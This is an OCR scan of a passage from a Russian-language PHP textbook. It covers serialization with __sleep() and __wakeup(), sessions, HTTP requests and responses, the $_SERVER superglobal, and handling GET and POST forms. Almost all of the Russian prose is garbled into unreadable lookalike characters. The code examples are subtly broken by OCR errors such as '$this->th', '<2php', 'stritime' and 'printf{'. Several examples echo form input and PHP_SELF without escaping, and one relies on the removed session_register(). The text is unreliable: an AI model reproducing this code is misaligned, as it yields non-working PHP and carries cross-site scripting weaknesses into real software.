B KJacc stdClass, 4TO czmenaer ero Gecrnosie3nbiM. [Ipy aBTOMaTHyYeCKOi cepua-
JIM3aluy/aecepyaan3alliy Bbl JOJXHBI MOAKII0YATh (haili, comepialiuii onpe-
nesieHue Kiacca oObeKTa Ha KaX/I0M cTpaHuile Baulero caiite. Hanpumep, ato
MOXCHO c/leJIaTh Tak:

include “object_definitions.php”;  // 3arpyxaem onpenenetue obvexkta
session_start();

// 3arpyxaem nOCTOSHHbIE NEePEMEHHbIE

>

<htmi>...

B PHP ecTb ABa crnenuaabHbIX METOAA IS OOBEKTOB IPU UX cepnéﬂnsaunn
U Jecepuanusanuu: _ sleep() U __wakeup(). ITH METOABI YBEAOMJSIOT 00B-
€KTbl, KOTJIa OHM JOJDKHBI CEPUATU30BaThCS U Jecepuanu3oBaTbcsa. OGBEKTHI
MOTYT OBITh CEpUATM30BaHbl, 1aXe eCJIM Y HUX HET ITUX METOJ0B, OJITHAKO OHU He
OyayT yBeaoMiieHbl 00 3TOM.

Meton __sleep() BbI3bIBaeTcsi mepen cepuaiusanueit ob6bekta. OH TO3BOJSA-
€T TMOATOTOBUTh OOBEKT K CepUANU3aI[MM, HATPUMED, 3aKPhITh BCE COETMHEHUS
¢ 6a30ii maHHbBIX, 3aMKUCaTh HECOXPAaHEHHbIE MEPCUCTEHTHBIE JaHHbIE U T.A. Me-
TOJl IOJKEH BEPHYTh MACCHUB, COEPXAIIMH UMEHA 3JIEeMEHTOB JaHHBIX, KOTO-
pble HYy>XHO COXPaHUTh B MOTOK 6aitToB. Eciu MeTo1 BEPHY.JI MTyCTOM MacCUB, 3TO
03HAyaeT, YTO HUKaKHe JaHHble He OblIY 3alMCaHbl.

Co0TBETCTBEHHO, METOMI __wakeup() BbI3BIBAETCSA KAK TOJBKO OOBEKT ObLI BOC-
CO3/aH U3 MOTOKa 6alTOB (Jeceprann3oBaH). MeTo MOXET BBIIOJIHATH JTI000€E
TpebyeMoe AeicTBUe, HallpUMeEp, 3aHOBO yCTAHABJIMBATh COEMHEHUS ¢ 6a30i
JAHHBIX U BBIMOJHATD APYTHE 33Ja4l UHUIIUATU3AIINH.
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B npumepe 6.3 onucan kaacc Log, MPefOCTABISIONUIMIA /1Ba MOJE3HBIX METOJA:
write() m00aBsisieT coolllieHne B JKypHaJ, read() BO3BpalllaeT TeKylllee COfep-
XKUMoe XXypHana. B kiacce uMcnosnb3yooTcss MeTo __wakeup() 1715 TTOBTOPHOTO
OTKDBITHUS XXypPHaJIa U METO/I __sleep() [IJ151 €TO 3aKPBITUSI.
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Mpumep 6.3. daitn Log.php

class Log

{
private $filename;
private $fh;

function __construct($filename)

{
$this->filename = $filename;
$this->open();
}
function open()
{
$err="He mory otkpbits”;
$this->th = fopen($this->filename, 'a’) or die(” $err { $this->filename}”);
}
function write($note)
{
fwrite($this->th, “{ $note}\n");
)
function read()
{
return join(", file($this->filename));
}

function __wakeup()

$this->open();

}

function __sleep()

{
// nuwem nrdopmaumio B XypHan
fclose($this->fh);
return array(”filename”);

)
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Coxpanure onpejeneHue Kjaacca log B daitne Log.php. HTML-cTpanuna, uc-
MoJIb3yIoIias Kjacc Log, u ceccunt PHP 7151 Xxpanenusi nocTosiHHOM nepeMeHHOH
log ($logger) npeacraBiena B npumepe 6.4,

R EEE NSNS R A EE RIS ERERR RN

Mpumep 6.4. Gain front.php

L T T Y

<2php

include_once “Log.php”;
session_start();

2>

<htm|><head><title>OcHosHas cTpanuua</title></head>
<body>

<2php
$now = strftime("%c”);
if (Isession_is_registered('logger')) {
// Bmecto session_is_registered() pekomenayetca nposepsth Cywectsosanue
// nepementbix 8 $_SESSION, Hanpumep
// if (lisset($_SESSION['logger])) {
$logger = new Log("/tmp/persistent_log”);
session_register('logger');
$logger->write(“Cosnaro $now”);
echo(”<p>CoapaHa ceccus u obvekt xypHana</p>");

}

$logger->write("Mpocmotpena nepeas ctpanuua {$now}”);

echo "<p>XypHan copepxut:</p>";
echo nl2br($logger->read());
2>

<a href="next.php”>lepeiitu Ha cnegytowyto cTpannuy</a>

</body></htm|>

S S T R PR e

MpumeuaHne. PyHKUMNA session_is_registered() cunTaeTcs ycrapes-
wein 8 PHP 5.3 n ee ncnons3osatb He pekomenayetcs, B PHP 5.4
3Ta PyHKUMS yoaneHa.

[Tpumep 6.5 nokasviBaet daitn next.php 1 HTML-ctpanuny. [Tepexoa no ccoLi-
Ke C OCHOBHOH CTPaHMIBI Ha 3Ty CTPAHULY WHHIMUDPYET 3arpy3Ky oObeKTa
$logger. BbI30B _wakeup() 3aHOBO OTKpbIBaeT (aili KypHasa, TakuM obpa-
30M, 0ObEKT Cpa3y rOTOB K MCIOJIb30BAHHIO.
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Mpumep 6.5. Qaiin next.php  :

L R PR T T R T

<2php

include_once “Log.php”;
session_start();

>

<html><head><title>Cnenytowas crpanuua</title></head>
<body>

<2php
$now = stritime("%c");
$logger->write(“Mpocmarpusaemas crpanmnua 2 // {$now}”);

echo “<p>XypHan copepxut:”;
echo nl2br($logger->read());
echo "</p>";

7>

</body></html>
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PHP 6b11 pazpaboTan Kak A3bIK 17151 HATMCAHUS BeO-CLIEHAPHEB M XOTS €70 MOX-
HO UCIOJIb30BaTh U /IS HATMCAHUS CLIeHapXeB KOMaH/THOM CTPOKU WJIH [IJISI CO3-
nanusa GUI-cuenapues, B 6osbuinHcTBe ciyyaeB PHP Bce-Taku ucnonb3yercs
B CBOE# OCHOBHOI1 ob6acTu — B BebO-pa3paboTke. Ha coBpeMeHHBIX AMHaMuUye-
CKMX calTax ecTb ()OPMbI, UCTIOJIB3YIOTCS CECCUH, TIEPEHANPABJIEHHUS], a TAKXKe
MHOTO€ IPYTOE, U B IAHHOH IJ1aBe BbI y3HAeTe, KaK BCe 3TH BeLIM Pealn3yI0TCs Ha
PHP. Bu1 y3naere, kak ucnosnb3oBath PHP-ceaHcs!, kak Moay4yuTs J0CTYN K Na-
pameTpam (HopMbl U 3arpykeHHbIM (daitnam, kak otnpaButb Cookies u mepeHa-
npaButh 6pay3ep, HY U ellle MHOTO Y€ero MOJIE3HOTO.

7.1. Ocnoebl HTTP

B ochoBe WWW sexutr npotrokon HTTP (Hyper Text Transfer Protocol).
ITOT MPOTOKOJ ompe/esisieT, Kak Be6-Opay3eps! 3anpauinBaiT Gaiisl y Beb-
CepBEPOB, U Kak BeO-cepBepbI MepPeNaloT 3anpaiusBaembie (aitabl obpatHo. Co-
OTBETCTBEHHO, YTOOBI MOHATDb U OCBOUTH padanuHbie PHP-TexHuKH, npuMeHsie-
Mbl€ B KOHTEKCTEe Be6-pa3pab0oTKH, Mbl JOJXKHbI 3HaTh XOTs Obl ocHoBbl HTTP,
OMMCaHue KOTOPbIX U MIPUBEIEHO JaJiee B 3TOH riase. [{1s1 6oJiee OJHOTO MOHM-
manust HTTP pekomennyio kuury « HTTP Pocket References (HTTP. Kapman-
HbIH cripaBouHUK). http://shop.oreilly.com/product/9781565928626.do.

Korna Be6-6pay3ep 3anpaumsaer Be6-cTpanuiy, oH otnpasaser HTTP-3anpoc
BeG-cepBepy. 3amnpoc BCeria COAEPXKUT 3aroJ0BOYHYI0 HHGOPMALIUIO U UHOT/A
COEPKHUT TeJIo 3anpoca. Be6-cepBep oTBeyaeT coobLieHreM, KOTOPOE BCET/ia CO-
JEPKUT UH(GOPMALIMIO 3ar0JI0BKa U 0OBIYHO comepxHuT Teso. [lepBas cTpoka 3a-
MPOCa BBITJIAAUT IPUMEPHO TaK:

GET /index.html HTTP/1.1

[annas ctpoka ykasbiBaer HTTP-komaHmy, Ha3piBaeMylo METOIOM, MOCJIE KO-
TOPOH cieyeT aapec JOKyMeHTa U Bepcusi ucnosibdyemoro nporokosna HTTP. B
aToM ciydae npumensiercss Metonl GET, uto6s1 monyuuts nokymenrt index.html,
ucnoab3ys nporokoa HTTP 1.1. [locsie HauasbHON CTPOKM 3aIPOC MOXKET CO-
JIepPXKaTh JOMOJHUTEIbHYIO MH(POPMALIMIO 3ar0JI0BKa, KOTOpas coobliaeT cepse-
Py JONOJIHUTEIbHBIE JaHHbIe 0 3anpoce. Hanpumep:

User-Agent: Mozilla/ 5.0 (Windows 2000; U) Opera 6.0 [en]
Accept: image/gif, image/jpeg, text/*, */*
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Crpoka 3arojioBka (MJu MpocTo — 3aroyioBok) User-Agent npenocTaBisieT MH-
dopmauuio o Beb-6paysepe, a cTpoka (3arosioBok) Accept ykasoiBaer MIME-
THIIbI, KOTOPbIE NOAEPXHBaeT Gpay3ep. [locse cTpok 3arosioBKa 3anpoc coaep-
XHT IYCTYIO CTPOKY, YTOObI 0003HAYNTh KOHELl CEKLIHHU 3arojioBKa. 3anpoc Mo-
XKET TaKXe CO/IePXKaTb JONOJHUTEIbHbIE TaHHbIE, €CIH 3TO TpebyeTcs 1S uc-
nosib3yeMoro Metosia (Hanpumep, 1ist Metoga POST, kotopblit Mbl 06Cyanm aa-
Jiee). Ecniu 3anpoc He cOlep>KUT IaHHBIX, OH 3aKaHUYUBAETCSI MyCTONH CTPOKOM.

Be6-cepBep npuHnmMaer 3anpoc, o6pabaTbiBaeT ero u OTIpaBJsieT oTBeT. [lepBast
crpoka HTTP-BbirsiauT B G0JbUIMHCTBE CyYaeB TakK:

HTTP/1.1 200 OK

IJTa CTPOKa yKa3bIBaeT BEPCHIO NPOTOKOJA, KO COCTOSIHHSI ¥ OMKHCAaHHE 3TOTO
Koza coctosiHusl. B HateM ciyyae kon coctosihus - 200, oH 03Havaer, 4To 3anpoc
ObL1 ycreleH, o yeM ceuaetebeTByeT onucanue “OK”. Tlocae aToro oTBer ele
COJIEPXKUT JIPYre CTPOKU 3aroJIOBKa, MPe0CTaB/ISIOUINE JONOTHUTENbHYIO HH-
¢opmauuio o 3anpoce. Hanpumep:

Date: Thu, 31 May 2019 14:07:50 GMT
Server: Apache/2.2.14 (Ubuntu)
Content-Type: text/html

Content-Length: 1845

Crpoka 3arosioBoka (3arojioBok) Server npeaocrasisieT HHGOPMALHKIO O MPo-
rpaMMHOM obecriedeHnn BeG-cepBepa, a 3arosioBok Content-Type ykasbiBaer
MIME-Tun aanHsIx, cogepxaiunxcst B orsete. [lociie pa3nena 3aroyoBka oTBeT
COIEPXKHUT MYCTYIO CTPOKY, 32 KOTOPOIi CJIEAYIOT 3anpaliiBaeMble JaHHbIE, €CIIH
3anpoc ObLa yCIEelleH.

IlBa Hanbosnee ucnoab3dyembix HTTP-merona - GET u POST. Meron GET
npenHas3Hayed AJs 3anpoca Takod uHdopmauuu kak HTML-mokymenr, kap-
THHKA, Pe3yJbTaThl 3anpoca 6a3bl 1aHHbIX, ¢ cepBepa U T.1. Mertox POST o3Ha-
yaeT oTIpaBKy HHPopMaLuK (HanpuMep, TaKOH KaKk HOMeP KpeIUTHOH KapTou-
KH, KOTOPbIii 0/DKEH ObITh cOXpaHeH B 6a3e JaHHbIX) Ha cepBep. Be6-Opa3syep
ucnonb3yer Meroq GET, korna nons3oBarens BBoguth URL nau wenkaer Ha
ccbuike. Koraa nosnb3oBartenb 3anosHsier GpopMy, MOXeET HCIOJIb30BAThCS KaK
meron GET, tak 1 POST, B 3aBUCUMOCTH OT 3HayeHHs aTpuOyTa method Tera
form. Bosiee moapo6no Metoabi GET u POST Gyayt paccMoTpeHbl B pa3iesie
“O6paboTka hopm”.

7.2. NepemeHHbie

B naHHOM pa3nesnie Mbl MOroBOpHM, KakK MOJYyYHTb MHMOpPMaLHUI0O 0 KOHGHU-
rypalMy cepBepa, a Takxe MHGOpPMaUMIO M3 3anpoca (BKJIOYash MapaMeTpsl
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dopmbr 1 Cookies). Jta undopmanus hasviBaetcss EGPCS-undopmanueit
(environment, GET, POST, cookies, server) u MoXeT ObITb II0JIy4eHa HECKOJIb-
KMMH pa3HbiMu criocobamu B PHP.

PHP cosmaer 1wmectb riaobanbHbiXx MaccuBoB’, coaepxamux EGPCS-
HHGOPMAIIHIO: )
e $_COOKIE - comepxurt JirobObie 3HayeHus: Cookies, mepelaHHble KaK YacTh
3anpoca, rjie KiyaMu MaccuBa siBisiiotcst uMeHa Cookies.

e $_GET - coaepxuT JiioOble mapameTpbl, siBisouirecs yactbio GET-
3arpoca, re KJI04Y1 MacCHUBa - 3TO IMeHa MapaMeTpoB (pOPMBI.

e $_POST - comepxuT Jl0Oble MapaMeTpbl, siBasomuecs yactbio POST-
3arpoca, rje KJIo4d MacCHBa - 3T0 MMeHa MapaMeTpoB (HOPMBHI.

® $_FILES - comep>XUT HHGOPMALIMIO O 3arPy>KEHHbIX (daiiiax.

e $_SERVER - XpaHUT MoJIE3HYIO HH(OPMaIIHIO 0 Beb-cepBepe, 3TOT MAaCCHB
GyeT OMmUcaH B CIEAYIOLIEM Pa3ieJie.

e $_ENV - COIEPKXHUT UMeHA JIIOOBIX IEPEMEHHBIX OKPYXEHHs], KJIIOYM Mac-
CHBa SBJISIOTCS UMEHAMHU IIEPEMEHHBIX OKPY)KEHHUSI.

I[lepeuncieHHbIE IEPEMEHHbIE SIBJSIOTCSI HE TOJIBKO 1002 bHBIMH, HO M BUIH-
mbiMu U3 GyHkuuid. Taxoke PHP aBromMaTHuecku co3gaet MaccuB $_REQUEST,
cofiep>Xallui 3jeMeHTbl MaccuBOB $_GET, $_POST u $_COOKIES B OTHOM Mac-
CHUBe.

7.3. Uudopmauua cepeepa

I'nobanbHbIit MaccuB $_SERVER COAEPIKUT MHOTO MOJIe3HON HH(pOpMaluu o BeO-
cepBepe. BosblIMHCTBO 3TON MHMOPMALIMK MPUXOAUT M3 NEPEMEHHBIX OKPY-
xenust, Tpebyembix B CGI-cnennduxanuund. /lanee npuBeaeH MOJHbINA CIHCOK
3amuceil MaccuBa $_SERVER, mosiyyeHHbIX U3 CGI:

e PHP_SELF - UMd TEKYLIEro ClieHapusi OTHOCUTEJIbHO KOPHEBOIO KaTajora
JIOKYMEHTOB (Hanpumep, /store/cart.php). ITa nepeMeHHasi OYEHb MOJIE3-
Ha IPH CO3/[IaHNH CCHUIKH Ha HAlll CLIEHApHi, 4TO OYy/IeT MOKa3aHO MO3XKe.

e SERVER_SOFTWARE - cTpOKa, uAeHTH(HUHUpyIomas cepsep (Hampumep,
“Apache/1.3.33 (Unix) mod_perl/1.26 PHP/5.5.4").

7 o6anbHble Maccusbl AOCTYNHbI U3 nboro mecta PHP-ckpunTta 1 He TpebytoT ans 3TOro uc-
nonb30BaHWA KNIO4EBOro cnosa global.

8 CGl (ot aHrn. Common Gateway Interface — «06wwwmi nHTEpPdENc Wn3a») — CTaHaapT UHTep-
¢devica, ucnonb3yemoro Ans CBA3WN BHELLHeN nporpaMMbl ¢ Beb-cepeepom. Mporpammy, kotopas
paboTaeT No TakoMy UHTEPGENCY COBMECTHO C BeH-CcepBepOM, MPUHATO Ha3bIBaTh LWIKO30M, XOTS
MHOrve NPeanoYnTaloT Ha3BaHUs «CKpUNT» (cueHapuii) unu «CGl-nporpamma.
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e SERVER_NAME — uMs y3na, DNS-nceBnonum unu IP-agpec (Hanpumep,
www.example.com), MOXET UCIIOJIb30BATHCSI [1J1s1 CO3[AHHUST CCLIKU Ha caM
cueHapui.

e GATEWAY_INTERFACE — Bepcus crangapta CGI (vanpumep,”CGI/1.17).

e SERVER_PROTOCOL — uMsSI U BepcHUsl MPOTOKOJIA cepBepa (HampuMep,
“HTTP/1.17).

e SERVER_PORT — HOMep MopTa cepBepa, KOTOPOMYy ObLT OTIIpaBJIeH 3ampoc
(Hartpumep, “80”).

e REQUEST_METHOD - MeToOn, chonbsyeMbIﬁ KJIUEHTOM JJIs MOJIy4YeHUs J0-
kyMmeHTa (Hanpumep, “GET”).

e PATH_INFO - myTb K JOKYMEHTY, MMepelaHHblil KJIWEHTOM (HampuMmep, /
list/users).

e PATH_TRANSLATED - 3HayeHWe PATH_INFO, mnpeoOpa3oBaHHOE CEPBEPOM
B uMs (ailna (Hanpumep, /home/hitpd/htdocs/list/users).

e SCRIPT_NAME - mytb URL K Tekylueil cTpanule, KOTOPbIH MoJIe3eH AJIs1
CO3/IaHMsI CCBUIOK Ha caM cleHapui (Hanpumep, /~me/menu.php).

e QUERY_STRING - Bce, yrto Haxoautrcsa mnociae ¢ B URL (Hanpumep,
name=Fred+age=35).

e REMOTE_HOST - MMl y3J1a MalIMHBI, KOTOPasi 3aIIPOCHJIa 3TY CTPAHUILY (Ha-
npumep, “dialup-192-168-0-1.example.com (http;//dialup-192-168-0-1.
example.com)”). Eciu ver DNS-uHbopMauuu 1s 3TOM MallWHbI, AaH-
Has 3amuch Oy/IeT MycTa, a BAM NPUAETCS UCIOJIb30BaTh MHGOPMAIKIO U3
REMOTE_ADDR.

e REMOTE_ADDR - cTpoKa, comepxauiasi [P-agpec MamuHbl, 3anmpocuBiiei
aTy cTpanuuy (Hanpumep, 192.168.0.250).

e AUTH_TYPE - eciM CTpaHMLA 3allMIleHa MapoJjieM, 3Ta 3alUCh COAEPXKHUT
METO/I, MCIIOJIb3YEeMBIH [JIsi 3aLIMThI CTPaHHILIb! (Harnpumep, “basic”).

e REMOTE_USER - ecaM cTpaHHMLA 3alldlleHa IMapoJjieM, 3AeCb HaXOAUTCS
MMS T0J1b30BaTeJIs, epelaHHoe KareHToM (HanpuMep, “fred”). 3ameTsbTe,
HeT criocoba 06Hapy>1<mb MapoJib, MEPeIaHHbIA KJIMEHTOM.

e REMOTE_IDENT - ecau cepBep HacTPO€H, YTOObI HMCIOJb30BaTh MPOBEP-
ky uaentuduxauun identd (RFC 931), ata 3anuce 6yaer comepxaTtbh MMsi
M0JIb30BAaTEIsI, MOJYYEHHOE OT y3J1a, KOTOPBIH caesnan Beb-3ampoc (Ha-
npuMep, “barney”). He ucrnosnb3yiite aTy CTPOKY Uit ayTeHTU(DHUKALKH,
ee JIErKo MOAAeaTb.

e CONTENT_TYPE - TUII COAEPKUMOTO HH(POPMALIMH, TIPUCOETUHEHHOH K 3a-
npocaM PUT u POST (uanpumep, “x-url-encoded”).

e CONTENT_LENGTH - piauHa uHbOpMaUMH, PUCOEIMHEHHON K 3arnpocaM
PUT u POST (Hanpumep, “3,952”).
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Be6-cepBep Apache Takxe cosgaer 3anucu B MaccuBe $_SERVER st Kaxaoit
crpoku HTTP-3arosioBka B 3anpoce. /[yt kKaX10ro Kjroya UMsl 3arojioBKa KOH-
BEPTUDPYETCSI B BEDXHUU PErHCTp, a TUPE (-) MpeoOpa3yoTcsi B 3HAKU MOJYEp-
kuBaHus (_), a Takxe nobasisiercs npedukc HTTP_. Hanpumep, y 3arosioBka
User-Agent OyaeT K04 HTTP_USER_AGENT.

I[Ba CaMBbIX ITOJIE3HbIX 3arojIOBKa:

e HTTP_USER_AGENT - crpoka wuaeHtuduxauuun Opaysepa (Hampumep,
“Mozilla/5.0 (Windows 2000; U) Opera 6.0 [en]”)

e HTTP_REFERER - cTpaHMLa, C KOTOPOil Opay3ep MpHIIes Ha 3Ty CTPaHHUILY
(Hanpumep, hittp://www.example.com/last_page.html)

7.4. O6paborka popm

B PHP oyeHb npocto 06pabaTtbiBaTh GOPMBbI, IIOCKOJIbKY NapaMeTpbl hOPMBI J10-
CTynHbI B MaccuBax $_GET u $_POST. B naHHOM pa3ziesie Mbl pACCMOTPUM MHOTO
TPIOKOB U METO/IOB paboTsI ¢ HopMamu.

Meroabi

Kak yxe 6b110 oTMeyeHo, cyuectByeT 18a HTTP-meTona, KOTOpble KJIHEHT MO-
JKET UCIMOJIb30BaTh /UIS Nepefiayu AaHHbIX ¢opmbl Ha cepBep: Meton GET u me-
tox POST. Kakoi uMeHHO 13 HUX GyIeT UCI0JIb30BaTh KOHKpeTHast popMa, yKa-
3bIBaeTCsi aTpUOYTOM method Tera form. TeopeTuyecky, Ha3BaHHE METOIOB He
4yBCTBUTEJIbHBI K PETUCTPY, HO HEKOTOPbIE Gpay3epbl MOTYT TPeOOBATD, YTOOBI
Ha3BaHHe MeTOo/1a ObLIO YKa3aHO MPONHCHBIMU OYKBaMH.

3anpoc GET koaupyet napamerpsl popmbl B URL, KoTOpbIii Ha3bIBaeTCst CTPO-
Ko# 3anpoca. [Ipu atom nanHble 13 GOpMBbI EpeAAOTCsI B cCaMOM 3arpoce. Tekcr,
KOTODBIi1 CJIeZlyeT NocJie 2 U eCTh CTPOKA 3a1poca:

/path/to/chunkify.phpgword=despicable&length=3

Metox POST nonpasymeBaer nepenauyy napametrpoB ¢opMmbl B Tese HTTP-
3anpoca, octasisist HeTpoHyThiIM URL.

Bunumas pasuuua mexay Mmetonramu GET u POST - ato ctpoka URL. [1ockosb-
Ky npu ucnosb3oBanuyu metona GET Bce mapameTpbl popMbI 110 CyTH BOMBAIOT-
csa B URL, nonb3oBarenu moryT no6aButh B 3akianku Bce GET-3anpocs! (kak
oHHU n06aBasioT B 3akianku obsruHbie URL-azpeca Be6-cTpanuu). B ciyuyae
¢ POST-3anpocamu nogo6Hasi cuTyauust HCKJIIOYEHa.

OcHoBHas xe pa3uuua mexay 3anpocamu GET u POST cocrout B 60see ToH-
kux marepusix. Cneundukauuss HTTP rosopurt, uto GET-3anpocsl uaemmo-
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. TEHTHBI®, TO €CTh IPHU OTIPaBKe oHOro ¥ Toro >xe GET-3anpoca a5t onpenesex-
Horo URL, Bk/toyast mapameTpbl (hOpMbl, BCE 3TU 3aMpochl OyayT BO3BpaIlaTh
OIHY M Ty Xe BebO-cTpaHuily (WM uTo TaM 6Gblio 3amnpoiieHo). [Toatomy Beb-
Gpay3epbl MOTYT K3IMPOBaTh CTPaHuULIbl 0TBeTOB 151 GET-3anmpocoB, ockoJib-
Ky CTPAHHUIA OTBETA He U3MEHSIETCS], HE3aBUCUMO OT TOTO, CKOJIbKO pa3 U KeM
cTpaHuua Oblia 3arpyxeHa. 13-3a atoro GET-3anpocs! J0JKHBI HCIIOIb30BaTh-
Cs1 TOJIBKO JIJIS 3aIIPOCOB, OTBETHI HA KOTOPbIE HUKOT/A He OYIyT H3MEHSIThCS, Ha-
NpUMep, pa3fieJiIeHHe CTPOKU Ha MeHblIKe OJOKH WK YMHOXEHHE YHCEL.

POST-3anpocsl He SIBJASIIOTCS MAEMITIOTEHTHBIMU. TO O3HAYAET, YTO OHU HE MO-
IyT OBbITH K3IMPOBAHBI U MPH KAXKIOM OTOOPAKEHUU CTPAHHUIIBI HYXKHO 3aHO-
BO CBSI3bIBAThCS C cepBepoM. BeposiTHo, Bail 6pay3ep cripocuTt Bac “IToBTOpUTH
OTIPaBKy AaHHBIX GOpMbI?” Mepes 0ToOpakeHHeM UJIH Tlepe3arpy3Koi ornpese-
JIeHHbIX cTpauuil. M ato Ta npuuyuHa, mo koropoii POST-3anpockl HY>XXHO HUC-
10J1b30BaTh /IJIsI 3aIIPOCOB, OTBETHI HA KOTOPbIE MOTYT U3MEHSITBCSI CO BpEMEHEM,
Hanpumep, 0TOOpaXxeHHe COAEPKUMOr0o KOP3UHbI MU TEKYIIKE COOOIEHUS 10-
CKH 00BbSABIEHUH.

OnHako, HAEMIIOTEHTHOCTD YACTO UTHOPUPYETCsI B peanbHOM Mupe. Kaum 6pay-
3epOB 0OBIYHO TaK MJIOXO PEATH30BaHbl, a U KHONMKY O6106umb TaK MPOCTO Ha-
XaTb, YTO MPOrpaMMHUCTBI YacTo ucnonb3yloT 3anpockl GET unu POST Tonbko
Ha OCHOBaHHWH TOTO, XOTSIT JIK OHM BUJETh MapameTpsl 3anpoca B URL unu Her.
Baxxo nomuuTh, uto GET-3anmpocsl He MOJKHBI UCMOJIB30BAThCS [JIs1 JTIOOBIX
AeNCTBUM, KOTOPbIE BbI3bIBAIOT U3MEHEHUSI Ha cepBepe, HapuMep, pa3MellieHrue
3aKaza uiu oOHOBJIeHHE 6a3bl JAHHDIX.

Tun merona, ucnonb3yemsiit npu 3anpoce PHP-ctpanuubl moctynen uepes
$_SERVER['REQUEST_METHOD’]. Hanpumep:

if ($_SERVER['REQUEST_METHOD'] == 'GET') {
// obpabarsieaem GET-3anpoc
}

else {
die("Bbi ponxHb ucnonszosats Tonsko GET-3anpoc!”);

}
NMapameTpb!

Vcnonb3yiite MaccuBbl $_POST, $_GET 1 $_FILES, yTOOBI IOIYYUTH JOCTYTI K Mapa-
MeTpaM ¢opMbl. Kiloun MaccuBa - 3To UMeHa apaMeTpPOB, a 3HAUEHUsI MACCUBA
- 3TO 3HaUeHUs AaHHbIX napaMmeTpoB. [lockonbky B uMenax HTML moxHO uc-

*UnemMnoTEeHTHOCTb — CBOWMCTBO METOA0B, KOTOPLIE NMPU MHOrOYMCEHHOM NOBTOPHOM obpaLue-
HUW BEPHYT OJMH U TOT Xe pe3yibTaT, KPOME C/Iy4aeB Koraa nHdopmMaums ycrapena. 3To 3HauuT,
4TO Npun 06paLLeHun k oaHomy 1 ToMy xe URL Bce nonb3osaTtenu 6yayr Buaems oaHy u Tyxe Bed
cTpaHuuy, nsobpaxeHue, suaeo u T.n. Taknum ceoinctesom obnapaot GET, PUT, DELETE meTonp!.
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M0J1b30BaTh TOYKH, KOTOpbIe 3anpelteHbl B PHP-uMeHax, B MaccuBe ToukH Oy-
AyT npeobpa3oBaHbl B 3HAKH MOAYEPKUBAHUS (_).

[Tpumep 7.1 nokassiBaer HTML-dbopmy, ucnonb3yemyio ajst pa3bUBKH cJI0Ba Ha
6s0k1. DopMa COAEpKUT ABa MOJS: OAHO AJIsl CTPOKM (MMsl mapaMeTpa word)
a OJIHO - 151 AJIMHBI 6JI0KOB (MMsI TapaMeTpa number).

Mpumep 7.1. dopma chunkify.html  :
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<html>
<head><title>Popma pasbueku ctpokm Ha yact</title></head>
<body>
<form action="chunkify.php” method="POST">
Beeaute cnoso: <input type="text” name="word"” /><br />
[nuHa oaHol yactv cnosa? <input type="text” name="number” /><br />
<input type="submit” value="Pas6urs!">
</form>
</body>
</html>
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[pumep 7.2 conepxut PHP-cuenapuii chunkify.php, koropomy nepenarorcs na-
pameTphl (popMbl, npuBeaeHHON B npuMepe 7.1. CiieHapuii konupyeT napame-
TPBI B IEPEMEHHBIE, a 3aTEM UCIIOJIb3YET UX.

Mpumep 7.2. Cuenapwuii chunkify.php  :
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<2php

$word = $_POST['word’];

$number = $_POST['number’];

$chunks = ceil(strlen($word) / $number);

echo "Bnoku paamepom {$number} cumeonos cnoea '{ $word}':<br />\n";
for ($i=0; $i < $chunks; $i++) {

$chunk = substr($word, $i * $number, $number);
printf{“%d: %s<br />\n", $i + 1, $chunk);

f—

-0
\"

Ha puc. 7.1 noka3saHna, kak ¢hpopma, Tak U pe3yJisrat ee 060paboTKU ClIEHapHEM.
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Puc. 7.1. ®opma u ee BbiBOA

CamooGpaboTka cTpaHuL

Ogpta u Taxxe PHP-cTpanuiia MoxeT UCMO/Ib30BaThCs KAk [1Jis1 cO3aHust (hopMbl,
Tak u 17151 ee o6pabotku. Ecoii cTpanuia, mokazanHas B npumepe 7.3, 6yaeT 3anpo-
mrena MetozioM GET, oHa BbiBezieT hopMy, MPUHUMAIOLLYIO TEMIIEPATYPY B TPALy-
cax no apenreiity. Eciu crpanuna BeizBana MetogoM POST, oHa Berymcisier
1 0TOOpaXKaeT COOTBETCTBYIONIYIO TEMIIEPATYPY B rpaaycax 1o Llesbcuo.
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Npumep 7.3. Camoo6paborka crpanuy (temp.php)

<html>
<head><title>lpeobpasoeanme Temneparypsi</tile></head>
<body>

<?php if ($_SERVER['REQUEST_METHOD'] =='GET') { 2> .
<form action="<2php echo $_SERVER['PHP_SELF'] 2>" method="POST">
Temneparypa 8 Papenredrax:
<input type="text" name="fahrenheit" /><br />
<input type="submit” value="Konseptuposats 8 Llenscuun!” />
</form>
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<%php }

else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$fahrenheit = $_POST['fahrenheit'];
$celsius = ($fahrenheit-32) * 5/ 9;

printf(“%.2fF = %.2fC", $fahrenheit, $celsius);
)
else {

die("3rot cueHapmit pabotaer Tonsko ¢ metopamn GET n POST”);
ES

</body>
</html>
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Ha puc. 7.2. nokasaHa cTpaHHlla NpeoOpa3oBaHUsl TEMIIEPATypPbl U Pe3yJIbTaT
npeo6pa3oBaHusl.

Tenneparypa & dapesreimax: 55

KoHeepTupoBaTs & Liensoml

" localhost/temp.php

65.00F = 18.33C

Puc. 7.2. Crpannua npeo6pa3oBaHus TeMmnepaTypbl 1 ee BbiBOA

Jlpyro#i cnocob peluTh, 4YTO AenaTh - MoKa3aTh GOPMY Kak eCcTh HJIM MpeBa-
puTesbHO 06paboTaTh ee, - MPOBEPHUTD, ObLT JIM YCTAHOBJIEH OJMH U3 MapamMe-
TPOB (hOpMbI. ITO 1103BOJISET HATTUCATD CTPAHHILY CAMOOOPaBOTKH, HCIIOIB3YI0-
uyio Metoa GET ans nepenaun 3Hauenuii. Ilpumep 7.4 nokaspiBaeT HOBYIO Bep-
CHIO Hallled CTPaHHI1(bl CaMOOOPAbOTKH, KOTOPas MepeaeT NnapaMeTpbl, HCIIOJIb-
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3ys 3anpoc GET. {1 onpeznesienust yTo aesaTh, AaHHAS CTPAHHUIA HCIIOJIb3YeET
IPUCYTCTBHE UJIM OTCYTCTBHE MapaMeTpPoB (HOPMBI.

B npumepe 7.4 Mbl komupyem mapamerp ¢opMbl B TiepeMeHHYIO0 $fahrenheit.
Ecnu mapametp He Obla epeaaH, Torjaa 3ta nepeMerHast 6yaert cogepxatb NULL,
MI03TOMY MbI MOXE€M HCIOJIb30BaTh is_null(), YTOObI PEIINTb, HYXXHO JIM TOKa-
3aThb (opMy HK 06paboTaTh JaHHbIE GOPMBI.
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Mpumep 7.4. Mpeobpasosanne TemnepaTypbi C UCNONL30BaHUuEeM MeToaa GET
{temp2.php)
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<html>
<head><title>MNpeobpasosanme Temnepatypsi</title></head>
<body>
<2php $fahrenheit = $_GET['fahrenheit'];
